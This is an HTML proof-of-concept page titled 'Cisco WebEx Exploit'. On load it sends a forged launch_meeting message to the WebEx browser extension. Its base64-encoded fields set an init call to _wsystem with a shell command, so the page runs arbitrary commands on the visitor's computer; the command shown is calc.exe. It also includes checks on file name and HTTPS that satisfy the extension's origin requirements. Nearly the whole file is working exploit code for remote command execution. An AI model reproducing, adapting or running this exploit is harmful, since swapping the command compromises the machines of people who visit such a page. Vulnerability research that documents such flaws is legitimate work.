<html>
|
<head>
|
<title>Cisco WebEx Exploit</title>
|
<script>
|
var msg = {
|
GpcProductRoot: "WebEx",
|
GpcMovingInSubdir: "Wanta",
|
GpcProductVersion: "T30_MC",
|
GpcUnpackName: "atgpcdec",
|
GpcExtName: "atgpcext",
|
GpcUnpackVersion: "27, 17, 2016, 501",
|
GpcExtVersion: "3015, 0, 2016, 1117",
|
GpcUrlRoot: "http://127.0.0.1/",
|
GpcComponentName: btoa("MSVCR100.DLL"),
|
GpcSuppressInstallation: btoa("True"),
|
GpcFullPage: "True",
|
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
|
ExploitShellCommand: btoa("calc.exe"),
|
}
|
|
function runcode()
|
{
|
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
|
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
|
return;
|
}
|
|
if (!document.location.protocol.endsWith("https:")) {
|
alert("document /must/ be served over https");
|
return;
|
}
|
|
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
|
document.dispatchEvent(new CustomEvent("message", { detail: {
|
message: JSON.stringify(msg),
|
message_type: "launch_meeting",
|
timestamp: (new Date()).toUTCString(),
|
token: "token"
|
}
|
}));
|
}
|
</script>
|
</head>
|
<body onload="runcode()">
|
<h1>Running exploit...</h1>
|
</body>
|
</html>
|